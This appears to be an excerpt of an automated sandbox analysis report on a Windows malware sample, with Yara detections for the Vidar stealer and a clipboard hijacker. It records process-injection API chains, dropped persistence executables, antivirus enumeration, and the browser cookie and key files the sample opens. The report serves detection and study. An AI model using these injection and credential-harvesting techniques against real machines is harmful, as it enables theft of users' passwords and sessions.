0_2_004090AD

Source: C:\Users\user\Desktop\AaIo4VGgvO.exe

Code function: 1_2_0042A57A EncodePointer,EncodePointer,___crtIsPackagedApp,LoadLibraryExW,GetLastError,LoadLibraryExW,GetProcAddress,EncodePointer,GetProcAddress,EncodePointer,GetProcAddress,EncodePointer,GetProcAddress,EncodePointer,GetProcAddress,EncodePointer,IsDebuggerPresent,OutputDebugStringW,DecodePointer,DecodePointer,DecodePointer,DecodePointer,DecodePointer,DecodePointer,DecodePointer,

1_2_0042A57A

Source: C:\Users\user\Desktop\AaIo4VGgvO.exe

4_2_00481920

Source: C:\Users\user\Desktop\AaIo4VGgvO.exe

1_2_00412220

Source: C:\Users\user\Desktop\AaIo4VGgvO.exe	Code function: 0_2_044940A3 push dword ptr fs:[00000030h]	0_2_044940A3
Source: C:\Users\user\Desktop\AaIo4VGgvO.exe	Code function: 0_2_05DD0042 push dword ptr fs:[00000030h]	0_2_05DD0042
Source: C:\Users\user\Desktop\AaIo4VGgvO.exe	Code function: 3_2_0451F0A3 push dword ptr fs:[00000030h]	3_2_0451F0A3
Source: C:\Users\user\Desktop\AaIo4VGgvO.exe	Code function: 3_2_05E60042 push dword ptr fs:[00000030h]	3_2_05E60042

Source: C:\Users\user\Desktop\AaIo4VGgvO.exe

Code function: 0_2_00408578 GetProcessHeap,

0_2_00408578

Source: C:\Users\user\Desktop\AaIo4VGgvO.exe	Code function: 0_2_00409038 SetUnhandledExceptionFilter,UnhandledExceptionFilter,	0_2_00409038
Source: C:\Users\user\Desktop\AaIo4VGgvO.exe	Code function: 1_2_004329EC SetUnhandledExceptionFilter,UnhandledExceptionFilter,	1_2_004329EC
Source: C:\Users\user\Desktop\AaIo4VGgvO.exe	Code function: 1_2_004329BB SetUnhandledExceptionFilter,	1_2_004329BB
Source: C:\Users\user\Desktop\AaIo4VGgvO.exe	Code function: 4_2_004329EC SetUnhandledExceptionFilter,UnhandledExceptionFilter,	4_2_004329EC
Source: C:\Users\user\Desktop\AaIo4VGgvO.exe	Code function: 4_2_004329BB SetUnhandledExceptionFilter,	4_2_004329BB

HIPS / PFW / Operating System Protection Evasion

Contains functionality to inject code into remote processes

Source: C:\Users\user\Desktop\AaIo4VGgvO.exe

Code function: 0_2_05DD0110 VirtualAlloc,GetModuleFileNameA,CreateProcessA,VirtualFree,VirtualAlloc,Wow64GetThreadContext,ReadProcessMemory,NtUnmapViewOfSection,VirtualAllocEx,NtWriteVirtualMemory,NtWriteVirtualMemory,WriteProcessMemory,Wow64SetThreadContext,ResumeThread,ExitProcess,

0_2_05DD0110

Injects a PE file into a foreign processes

Source: C:\Users\user\Desktop\AaIo4VGgvO.exe	Memory written: C:\Users\user\Desktop\AaIo4VGgvO.exe base: 400000 value starts with: 4D5A	Jump to behavior
Source: C:\Users\user\Desktop\AaIo4VGgvO.exe	Memory written: C:\Users\user\Desktop\AaIo4VGgvO.exe base: 400000 value starts with: 4D5A	Jump to behavior
Source: C:\Users\user\AppData\Local\bd76416c-c07f-44e7-96b8-02ba830059cc\AaIo4VGgvO.exe	Memory written: C:\Users\user\AppData\Local\bd76416c-c07f-44e7-96b8-02ba830059cc\AaIo4VGgvO.exe base: 400000 value starts with: 4D5A
Source: C:\Users\user\AppData\Local\58a25b76-7250-42af-84d2-f7f71d635f33\build2.exe	Memory written: C:\Users\user\AppData\Local\58a25b76-7250-42af-84d2-f7f71d635f33\build2.exe base: 400000 value starts with: 4D5A
Source: C:\Users\user\AppData\Local\58a25b76-7250-42af-84d2-f7f71d635f33\build3.exe	Memory written: C:\Users\user\AppData\Local\58a25b76-7250-42af-84d2-f7f71d635f33\build3.exe base: 400000 value starts with: 4D5A
Source: C:\Users\user\AppData\Local\bd76416c-c07f-44e7-96b8-02ba830059cc\AaIo4VGgvO.exe	Memory written: C:\Users\user\AppData\Local\bd76416c-c07f-44e7-96b8-02ba830059cc\AaIo4VGgvO.exe base: 400000 value starts with: 4D5A
Source: C:\Users\user\AppData\Roaming\Microsoft\Network\mstsca.exe	Memory written: C:\Users\user\AppData\Roaming\Microsoft\Network\mstsca.exe base: 400000 value starts with: 4D5A
Source: C:\Users\user\AppData\Local\bd76416c-c07f-44e7-96b8-02ba830059cc\AaIo4VGgvO.exe	Memory written: C:\Users\user\AppData\Local\bd76416c-c07f-44e7-96b8-02ba830059cc\AaIo4VGgvO.exe base: 400000 value starts with: 4D5A
Source: C:\Users\user\AppData\Roaming\Microsoft\Network\mstsca.exe	Memory written: C:\Users\user\AppData\Roaming\Microsoft\Network\mstsca.exe base: 400000 value starts with: 4D5A
Source: C:\Users\user\AppData\Roaming\Microsoft\Network\mstsca.exe	Memory written: C:\Users\user\AppData\Roaming\Microsoft\Network\mstsca.exe base: 400000 value starts with: 4D5A
Source: C:\Users\user\AppData\Roaming\Microsoft\Network\mstsca.exe	Memory written: C:\Users\user\AppData\Roaming\Microsoft\Network\mstsca.exe base: 400000 value starts with: 4D5A

Source: C:\Users\user\Desktop\AaIo4VGgvO.exe

Code function: 1_2_00419F90 GetCurrentProcess,GetLastError,GetLastError,SetPriorityClass,GetLastError,GetModuleFileNameW,PathRemoveFileSpecW,GetCommandLineW,CommandLineToArgvW,lstrcpyW,lstrcmpW,lstrcmpW,lstrcpyW,lstrcpyW,lstrcmpW,lstrcmpW,GlobalFree,lstrcpyW,lstrcpyW,OpenProcess,WaitForSingleObject,CloseHandle,Sleep,GlobalFree,GetCurrentProcess,GetExitCodeProcess,TerminateProcess,CloseHandle,lstrcatW,GetVersion,lstrcpyW,lstrcatW,lstrcatW,_memset,ShellExecuteExW,CreateThread,lstrlenA,lstrcatW,_malloc,lstrcatW,_memset,lstrcatW,MultiByteToWideChar,lstrcatW,lstrlenW,CreateThread,WaitForSingleObject,CreateMutexA,CreateMutexA,lstrlenA,lstrcpyA,_memmove,_memmove,_memmove,GetUserNameW,GetMessageW,GetMessageW,DispatchMessageW,TranslateMessage,TranslateMessage,DispatchMessageW,GetMessageW,PostThreadMessageW,PeekMessageW,PostThreadMessageW,PeekMessageW,DispatchMessageW,PeekMessageW,WaitForSingleObject,PostThreadMessageW,PeekMessageW,DispatchMessageW,PeekMessageW,WaitForSingleObject,CloseHandle,

1_2_00419F90

Source: C:\Users\user\Desktop\AaIo4VGgvO.exe	Process created: C:\Users\user\Desktop\AaIo4VGgvO.exe "C:\Users\user\Desktop\AaIo4VGgvO.exe"	Jump to behavior
Source: C:\Users\user\Desktop\AaIo4VGgvO.exe	Process created: C:\Users\user\Desktop\AaIo4VGgvO.exe "C:\Users\user\Desktop\AaIo4VGgvO.exe" --Admin IsNotAutoStart IsNotTask	Jump to behavior
Source: C:\Users\user\Desktop\AaIo4VGgvO.exe	Process created: C:\Users\user\Desktop\AaIo4VGgvO.exe "C:\Users\user\Desktop\AaIo4VGgvO.exe" --Admin IsNotAutoStart IsNotTask	Jump to behavior
Source: C:\Users\user\Desktop\AaIo4VGgvO.exe	Process created: C:\Users\user\AppData\Local\58a25b76-7250-42af-84d2-f7f71d635f33\build2.exe "C:\Users\user\AppData\Local\58a25b76-7250-42af-84d2-f7f71d635f33\build2.exe"	Jump to behavior
Source: C:\Users\user\Desktop\AaIo4VGgvO.exe	Process created: C:\Users\user\AppData\Local\58a25b76-7250-42af-84d2-f7f71d635f33\build3.exe "C:\Users\user\AppData\Local\58a25b76-7250-42af-84d2-f7f71d635f33\build3.exe"	Jump to behavior
Source: C:\Users\user\AppData\Local\bd76416c-c07f-44e7-96b8-02ba830059cc\AaIo4VGgvO.exe	Process created: C:\Users\user\AppData\Local\bd76416c-c07f-44e7-96b8-02ba830059cc\AaIo4VGgvO.exe C:\Users\user\AppData\Local\bd76416c-c07f-44e7-96b8-02ba830059cc\AaIo4VGgvO.exe --Task
Source: C:\Users\user\AppData\Local\58a25b76-7250-42af-84d2-f7f71d635f33\build2.exe	Process created: C:\Users\user\AppData\Local\58a25b76-7250-42af-84d2-f7f71d635f33\build2.exe "C:\Users\user\AppData\Local\58a25b76-7250-42af-84d2-f7f71d635f33\build2.exe"
Source: C:\Users\user\AppData\Local\58a25b76-7250-42af-84d2-f7f71d635f33\build3.exe	Process created: C:\Users\user\AppData\Local\58a25b76-7250-42af-84d2-f7f71d635f33\build3.exe "C:\Users\user\AppData\Local\58a25b76-7250-42af-84d2-f7f71d635f33\build3.exe"
Source: C:\Users\user\AppData\Local\bd76416c-c07f-44e7-96b8-02ba830059cc\AaIo4VGgvO.exe	Process created: C:\Users\user\AppData\Local\bd76416c-c07f-44e7-96b8-02ba830059cc\AaIo4VGgvO.exe "C:\Users\user\AppData\Local\bd76416c-c07f-44e7-96b8-02ba830059cc\AaIo4VGgvO.exe" --AutoStart
Source: C:\Users\user\AppData\Roaming\Microsoft\Network\mstsca.exe	Process created: C:\Users\user\AppData\Roaming\Microsoft\Network\mstsca.exe C:\Users\user\AppData\Roaming\Microsoft\Network\mstsca.exe
Source: C:\Users\user\AppData\Local\bd76416c-c07f-44e7-96b8-02ba830059cc\AaIo4VGgvO.exe	Process created: C:\Users\user\AppData\Local\bd76416c-c07f-44e7-96b8-02ba830059cc\AaIo4VGgvO.exe "C:\Users\user\AppData\Local\bd76416c-c07f-44e7-96b8-02ba830059cc\AaIo4VGgvO.exe" --AutoStart
Source: C:\Users\user\AppData\Roaming\Microsoft\Network\mstsca.exe	Process created: C:\Users\user\AppData\Roaming\Microsoft\Network\mstsca.exe C:\Users\user\AppData\Roaming\Microsoft\Network\mstsca.exe
Source: C:\Users\user\AppData\Roaming\Microsoft\Network\mstsca.exe	Process created: C:\Users\user\AppData\Roaming\Microsoft\Network\mstsca.exe C:\Users\user\AppData\Roaming\Microsoft\Network\mstsca.exe
Source: C:\Users\user\AppData\Roaming\Microsoft\Network\mstsca.exe	Process created: C:\Users\user\AppData\Roaming\Microsoft\Network\mstsca.exe C:\Users\user\AppData\Roaming\Microsoft\Network\mstsca.exe

Source: C:\Users\user\Desktop\AaIo4VGgvO.exe

Code function: 0_2_05DF80F6 cpuid

0_2_05DF80F6

Source: C:\Users\user\Desktop\AaIo4VGgvO.exe	Code function: _LocaleUpdate::_LocaleUpdate,__crtGetLocaleInfoA_stat,	0_2_05E10AB6
Source: C:\Users\user\Desktop\AaIo4VGgvO.exe	Code function: _LcidFromHexString,GetLocaleInfoW,_TestDefaultLanguage,	1_2_00438178
Source: C:\Users\user\Desktop\AaIo4VGgvO.exe	Code function: _LocaleUpdate::_LocaleUpdate,__crtGetLocaleInfoA_stat,	1_2_00440116
Source: C:\Users\user\Desktop\AaIo4VGgvO.exe	Code function: _wcscmp,_wcscmp,GetLocaleInfoW,GetLocaleInfoW,GetACP,	1_2_004382A2
Source: C:\Users\user\Desktop\AaIo4VGgvO.exe	Code function: GetLocaleInfoW,_GetPrimaryLen,	1_2_0043834F
Source: C:\Users\user\Desktop\AaIo4VGgvO.exe	Code function: _memset,_TranslateName,_GetLcidFromLangCountry,_GetLcidFromLanguage,_TranslateName,_GetLcidFromLangCountry,_GetLcidFromLanguage,_GetLcidFromCountry,GetUserDefaultLCID,IsValidCodePage,IsValidLocale,___crtDownlevelLCIDToLocaleName,___crtDownlevelLCIDToLocaleName,GetLocaleInfoW,GetLocaleInfoW,GetLocaleInfoW,__itow_s,	1_2_00438423
Source: C:\Users\user\Desktop\AaIo4VGgvO.exe	Code function: EnumSystemLocalesW,	1_2_004387C8
Source: C:\Users\user\Desktop\AaIo4VGgvO.exe	Code function: GetLocaleInfoW,	1_2_0043884E
Source: C:\Users\user\Desktop\AaIo4VGgvO.exe	Code function: _TranslateName,_GetLocaleNameFromLangCountry,_GetLocaleNameFromLanguage,_TranslateName,_GetLocaleNameFromLangCountry,_GetLocaleNameFromLanguage,_GetLocaleNameFromDefault,IsValidCodePage,_wcschr,_wcschr,__itow_s,_LcidFromHexString,GetLocaleInfoW,	1_2_00437BB3
Source: C:\Users\user\Desktop\AaIo4VGgvO.exe	Code function: EnumSystemLocalesW,	1_2_00437E27
Source: C:\Users\user\Desktop\AaIo4VGgvO.exe	Code function: _GetPrimaryLen,EnumSystemLocalesW,	1_2_00437E83
Source: C:\Users\user\Desktop\AaIo4VGgvO.exe	Code function: _GetPrimaryLen,EnumSystemLocalesW,	1_2_00437F00
Source: C:\Users\user\Desktop\AaIo4VGgvO.exe	Code function: _LcidFromHexString,GetLocaleInfoW,GetLocaleInfoW,__wcsnicmp,GetLocaleInfoW,_TestDefaultLanguage,	1_2_00437F83
Source: C:\Users\user\Desktop\AaIo4VGgvO.exe	Code function: _LocaleUpdate::_LocaleUpdate,__crtGetLocaleInfoA_stat,	3_2_05EA0AB6
Source: C:\Users\user\Desktop\AaIo4VGgvO.exe	Code function: _LcidFromHexString,GetLocaleInfoW,_TestDefaultLanguage,	4_2_00438178
Source: C:\Users\user\Desktop\AaIo4VGgvO.exe	Code function: _LocaleUpdate::_LocaleUpdate,__crtGetLocaleInfoA_stat,	4_2_00440116
Source: C:\Users\user\Desktop\AaIo4VGgvO.exe	Code function: _wcscmp,_wcscmp,GetLocaleInfoW,GetLocaleInfoW,GetACP,	4_2_004382A2
Source: C:\Users\user\Desktop\AaIo4VGgvO.exe	Code function: GetLocaleInfoW,_GetPrimaryLen,	4_2_0043834F
Source: C:\Users\user\Desktop\AaIo4VGgvO.exe	Code function: _memset,_TranslateName,_GetLcidFromLangCountry,_GetLcidFromLanguage,_TranslateName,_GetLcidFromLangCountry,_GetLcidFromLanguage,_GetLcidFromCountry,GetUserDefaultLCID,IsValidCodePage,IsValidLocale,___crtDownlevelLCIDToLocaleName,___crtDownlevelLCIDToLocaleName,GetLocaleInfoW,GetLocaleInfoW,GetLocaleInfoW,__itow_s,	4_2_00438423
Source: C:\Users\user\Desktop\AaIo4VGgvO.exe	Code function: EnumSystemLocalesW,	4_2_004387C8
Source: C:\Users\user\Desktop\AaIo4VGgvO.exe	Code function: GetLocaleInfoW,	4_2_0043884E
Source: C:\Users\user\Desktop\AaIo4VGgvO.exe	Code function: _TranslateName,_GetLocaleNameFromLangCountry,_GetLocaleNameFromLanguage,_TranslateName,_GetLocaleNameFromLangCountry,_GetLocaleNameFromLanguage,_GetLocaleNameFromDefault,IsValidCodePage,_wcschr,_wcschr,__itow_s,__invoke_watson,_LcidFromHexString,GetLocaleInfoW,	4_2_00437BB3
Source: C:\Users\user\Desktop\AaIo4VGgvO.exe	Code function: EnumSystemLocalesW,	4_2_00437E27
Source: C:\Users\user\Desktop\AaIo4VGgvO.exe	Code function: _GetPrimaryLen,EnumSystemLocalesW,	4_2_00437E83
Source: C:\Users\user\Desktop\AaIo4VGgvO.exe	Code function: _GetPrimaryLen,EnumSystemLocalesW,	4_2_00437F00
Source: C:\Users\user\Desktop\AaIo4VGgvO.exe	Code function: _LcidFromHexString,GetLocaleInfoW,GetLocaleInfoW,__wcsnicmp,GetLocaleInfoW,_TestDefaultLanguage,	4_2_00437F83

Source: C:\Users\user\AppData\Local\58a25b76-7250-42af-84d2-f7f71d635f33\build2.exe	Registry key value queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0
Source: C:\Users\user\AppData\Local\58a25b76-7250-42af-84d2-f7f71d635f33\build2.exe	Registry key value queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0

Source: C:\Users\user\AppData\Local\58a25b76-7250-42af-84d2-f7f71d635f33\build2.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Users\user\AppData\Local\58a25b76-7250-42af-84d2-f7f71d635f33\build2.exe	Queries volume information: C:\ VolumeInformation

Source: C:\Users\user\Desktop\AaIo4VGgvO.exe

Code function: 0_2_00408B04 GetSystemTimeAsFileTime,GetCurrentThreadId,GetCurrentProcessId,QueryPerformanceCounter,

0_2_00408B04

Source: C:\Users\user\Desktop\AaIo4VGgvO.exe

1_2_00419F90

Source: C:\Users\user\Desktop\AaIo4VGgvO.exe

Code function: 1_2_0042FE47 __lock,____lc_codepage_func,__getenv_helper_nolock,_free,_strlen,__malloc_crt,_strlen,_free,GetTimeZoneInformation,WideCharToMultiByte,WideCharToMultiByte,

1_2_0042FE47

Source: C:\Users\user\Desktop\AaIo4VGgvO.exe

1_2_00419F90

Source: C:\Users\user\Desktop\AaIo4VGgvO.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuid

Jump to behavior

Source: build2.exe, 00000008.00000003.1871786470.00000000008DD000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000002.1875287836.00000000008DD000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: iles%\Windows Defender\MsMpeng.exe
Source: build2.exe, 00000008.00000003.1871786470.00000000008DD000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000002.1875287836.0000000000885000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000002.1875287836.00000000008DD000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: %ProgramFiles%\Windows Defender\MsMpeng.exe
Source: build2.exe, 00000008.00000003.1871786470.00000000008DD000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000002.1875287836.00000000008DD000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: ramFiles%\Windows Defender\MsMpeng.exe

Source: C:\Users\user\AppData\Local\58a25b76-7250-42af-84d2-f7f71d635f33\build2.exe

WMI Queries: IWbemServices::ExecQuery - root\SecurityCenter2 : Select * From AntiVirusProduct

Stealing of Sensitive Information

Yara detected Clipboard Hijacker

Source: Yara match	File source: 26.2.mstsca.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 30.2.mstsca.exe.8215a0.1.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 14.2.build3.exe.400000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 25.2.mstsca.exe.9315a0.1.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 20.2.mstsca.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 31.2.mstsca.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 31.2.mstsca.exe.400000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 26.2.mstsca.exe.400000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 29.2.mstsca.exe.400000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 20.2.mstsca.exe.400000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 9.2.build3.exe.8915a0.1.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 14.2.build3.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 28.2.mstsca.exe.8915a0.1.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 29.2.mstsca.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 17.2.mstsca.exe.9715a0.1.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0000000E.00000002.1855306265.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000001E.00000002.3633201823.0000000000820000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000001A.00000002.2400599599.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000001C.00000002.3013186700.0000000000890000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000001F.00000002.3632649195.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000014.00000002.4109405037.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000001D.00000002.3012410166.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000011.00000002.1944478806.0000000000970000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000009.00000002.1854274839.0000000000890000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000019.00000002.2401403681.0000000000930000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY

Yara detected Vidar stealer

Source: Yara match	File source: 7.2.build2.exe.1a915a0.1.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 8.2.build2.exe.400000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 7.2.build2.exe.1a915a0.1.unpack, type: UNPACKEDPE
Source: Yara match	File source: 8.2.build2.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000007.00000002.1730456687.0000000001A90000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000008.00000002.1874465516.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: build2.exe PID: 7624, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: build2.exe PID: 7644, type: MEMORYSTR

Tries to harvest and steal browser information (history, passwords, etc)

Source: C:\Users\user\Desktop\AaIo4VGgvO.exe	File opened: C:\Users\user\Application Data\Mozilla\Firefox\Profiles\fqs92o4p.default-release\ExperimentStoreData.json	Jump to behavior
Source: C:\Users\user\AppData\Local\58a25b76-7250-42af-84d2-f7f71d635f33\build2.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\History
Source: C:\Users\user\Desktop\AaIo4VGgvO.exe	File opened: C:\Users\user\Application Data\Mozilla\Firefox\Profiles\fqs92o4p.default-release\key4.db	Jump to behavior
Source: C:\Users\user\AppData\Local\58a25b76-7250-42af-84d2-f7f71d635f33\build2.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Network\Cookies
Source: C:\Users\user\Desktop\AaIo4VGgvO.exe	File opened: C:\Users\user\Application Data\Mozilla\Firefox\Profiles\fqs92o4p.default-release\shield-preference-experiments.json	Jump to behavior
Source: C:\Users\user\Desktop\AaIo4VGgvO.exe	File opened: C:\Users\user\Application Data\Mozilla\Firefox\Profiles\fqs92o4p.default-release\favicons.sqlite-wal	Jump to behavior
Source: C:\Users\user\Desktop\AaIo4VGgvO.exe	File opened: C:\Users\user\Application Data\Mozilla\Firefox\Profiles\fqs92o4p.default-release\handlers.json	Jump to behavior
Source: C:\Users\user\Desktop\AaIo4VGgvO.exe	File opened: C:\Users\user\Application Data\Mozilla\Firefox\Profiles\fqs92o4p.default-release\protections.sqlite	Jump to behavior
Source: C:\Users\user\Desktop\AaIo4VGgvO.exe	File opened: C:\Users\user\Application Data\Mozilla\Firefox\Profiles\fqs92o4p.default-release\places.sqlite-wal	Jump to behavior
Source: C:\Users\user\Desktop\AaIo4VGgvO.exe	File opened: C:\Users\user\Application Data\Mozilla\Firefox\Profiles\fqs92o4p.default-release\Telemetry.FailedProfileLocks.txt	Jump to behavior
Source: C:\Users\user\Desktop\AaIo4VGgvO.exe	File opened: C:\Users\user\Application Data\Mozilla\Firefox\Profiles\fqs92o4p.default-release\addonStartup.json.lz4	Jump to behavior
Source: C:\Users\user\Desktop\AaIo4VGgvO.exe	File opened: C:\Users\user\Application Data\Mozilla\Firefox\Profiles\fqs92o4p.default-release\content-prefs.sqlite	Jump to behavior
Source: C:\Users\user\Desktop\AaIo4VGgvO.exe	File opened: C:\Users\user\Application Data\Mozilla\Firefox\Profiles\fqs92o4p.default-release\addons.json	Jump to behavior
Source: C:\Users\user\Desktop\AaIo4VGgvO.exe	File opened: C:\Users\user\Application Data\Mozilla\Firefox\Profiles\fqs92o4p.default-release\targeting.snapshot.json	Jump to behavior
Source: C:\Users\user\Desktop\AaIo4VGgvO.exe	File opened: C:\Users\user\Application Data\Mozilla\Firefox\Profiles\fqs92o4p.default-release\webappsstore.sqlite-shm	Jump to behavior
Source: C:\Users\user\Desktop\AaIo4VGgvO.exe	File opened: C:\Users\user\Application Data\Mozilla\Firefox\Profiles\z6bny8rn.default\times.json	Jump to behavior
Source: C:\Users\user\Desktop\AaIo4VGgvO.exe	File opened: C:\Users\user\Local Settings\Google\Chrome\User Data\Default\Google Profile.ico	Jump to behavior
Source: C:\Users\user\Desktop\AaIo4VGgvO.exe	File opened: C:\Users\user\Application Data\Mozilla\Firefox\Profiles\fqs92o4p.default-release\pkcs11.txt	Jump to behavior
Source: C:\Users\user\Desktop\AaIo4VGgvO.exe	File opened: C:\Users\user\Application Data\Mozilla\Firefox\Profiles\fqs92o4p.default-release\search.json.mozlz4	Jump to behavior
Source: C:\Users\user\Desktop\AaIo4VGgvO.exe	File opened: C:\Users\user\Application Data\Mozilla\Firefox\Profiles\fqs92o4p.default-release\prefs.js	Jump to behavior
Source: C:\Users\user\Desktop\AaIo4VGgvO.exe	File opened: C:\Users\user\Application Data\Mozilla\Firefox\Profiles\fqs92o4p.default-release\favicons.sqlite	Jump to behavior
Source: C:\Users\user\Desktop\AaIo4VGgvO.exe	File opened: C:\Users\user\Application Data\Mozilla\Firefox\Profiles\fqs92o4p.default-release\permissions.sqlite	Jump to behavior
Source: C:\Users\user\Desktop\AaIo4VGgvO.exe	File opened: C:\Users\user\Application Data\Mozilla\Firefox\Profiles\fqs92o4p.default-release\webappsstore.sqlite	Jump to behavior
Source: C:\Users\user\Desktop\AaIo4VGgvO.exe	File opened: C:\Users\user\Application Data\Mozilla\Firefox\Profiles\fqs92o4p.default-release\favicons.sqlite-shm	Jump to behavior
Source: C:\Users\user\Desktop\AaIo4VGgvO.exe	File opened: C:\Users\user\Local Settings\Google\Chrome\User Data\Default\heavy_ad_intervention_opt_out.db-journal	Jump to behavior
Source: C:\Users\user\Desktop\AaIo4VGgvO.exe	File opened: C:\Users\user\Application Data\Mozilla\Firefox\Profiles\fqs92o4p.default-release\cookies.sqlite-shm	Jump to behavior
Source: C:\Users\user\Desktop\AaIo4VGgvO.exe	File opened: C:\Users\user\Local Settings\Google\Chrome\User Data\Default\LOG.old	Jump to behavior
Source: C:\Users\user\Desktop\AaIo4VGgvO.exe	File opened: C:\Users\user\Application Data\Mozilla\Firefox\Profiles\fqs92o4p.default-release\storage.sqlite	Jump to behavior
Source: C:\Users\user\Desktop\AaIo4VGgvO.exe	File opened: C:\Users\user\Application Data\Mozilla\Firefox\Profiles\fqs92o4p.default-release\containers.json	Jump to behavior
Source: C:\Users\user\Desktop\AaIo4VGgvO.exe	File opened: C:\Users\user\Application Data\Mozilla\Firefox\Profiles\fqs92o4p.default-release\AlternateServices.txt	Jump to behavior
Source: C:\Users\user\Desktop\AaIo4VGgvO.exe	File opened: C:\Users\user\Application Data\Mozilla\Firefox\Profiles\fqs92o4p.default-release\extension-preferences.json	Jump to behavior
Source: C:\Users\user\Desktop\AaIo4VGgvO.exe	File opened: C:\Users\user\Local Settings\Google\Chrome\User Data\Default\heavy_ad_intervention_opt_out.db	Jump to behavior
Source: C:\Users\user\Desktop\AaIo4VGgvO.exe	File opened: C:\Users\user\Application Data\Mozilla\Firefox\Profiles\fqs92o4p.default-release\cookies.sqlite-wal	Jump to behavior
Source: C:\Users\user\Desktop\AaIo4VGgvO.exe	File opened: C:\Users\user\Application Data\Mozilla\Firefox\Profiles\fqs92o4p.default-release\parent.lock	Jump to behavior
Source: C:\Users\user\Desktop\AaIo4VGgvO.exe	File opened: C:\Users\user\Application Data\Mozilla\Firefox\Profiles\fqs92o4p.default-release\sessionstore.jsonlz4	Jump to behavior
Source: C:\Users\user\Desktop\AaIo4VGgvO.exe	File opened: C:\Users\user\Application Data\Mozilla\Firefox\Profiles\fqs92o4p.default-release\SiteSecurityServiceState.txt	Jump to behavior
Source: C:\Users\user\Desktop\AaIo4VGgvO.exe	File opened: C:\Users\user\Local Settings\Google\Chrome\User Data\Default\trusted_vault.pb	Jump to behavior
Source: C:\Users\user\Desktop\AaIo4VGgvO.exe	File opened: C:\Users\user\Application Data\Mozilla\Firefox\Profiles\fqs92o4p.default-release\sessionCheckpoints.json	Jump to behavior
Source: C:\Users\user\Desktop\AaIo4VGgvO.exe	File opened: C:\Users\user\Application Data\Mozilla\Firefox\Profiles\fqs92o4p.default-release\cert9.db	Jump to behavior
Source: C:\Users\user\Desktop\AaIo4VGgvO.exe	File opened: C:\Users\user\Application Data\Mozilla\Firefox\Profiles\fqs92o4p.default-release\xulstore.json	Jump to behavior
Source: C:\Users\user\Desktop\AaIo4VGgvO.exe	File opened: C:\Users\user\Application Data\Mozilla\Firefox\Profiles\fqs92o4p.default-release\webappsstore.sqlite-wal	Jump to behavior
Source: C:\Users\user\Desktop\AaIo4VGgvO.exe	File opened: C:\Users\user\Application Data\Mozilla\Firefox\Profiles\fqs92o4p.default-release\places.sqlite-shm	Jump to behavior
Source: C:\Users\user\Desktop\AaIo4VGgvO.exe	File opened: C:\Users\user\Application Data\Mozilla\Firefox\Profiles\fqs92o4p.default-release\times.json	Jump to behavior
Source: C:\Users\user\Desktop\AaIo4VGgvO.exe	File opened: C:\Users\user\Application Data\Mozilla\Firefox\Profiles\fqs92o4p.default-release\cookies.sqlite	Jump to behavior
Source: C:\Users\user\Desktop\AaIo4VGgvO.exe	File opened: C:\Users\user\Application Data\Mozilla\Firefox\Profiles\fqs92o4p.default-release\places.sqlite	Jump to behavior

Source: Yara match

File source: Process Memory Space: build2.exe PID: 7644, type: MEMORYSTR

Remote Access Functionality

Yara detected Vidar stealer

Source: Yara match	File source: 7.2.build2.exe.1a915a0.1.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 8.2.build2.exe.400000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 7.2.build2.exe.1a915a0.1.unpack, type: UNPACKEDPE
Source: Yara match	File source: 8.2.build2.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000007.00000002.1730456687.0000000001A90000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY
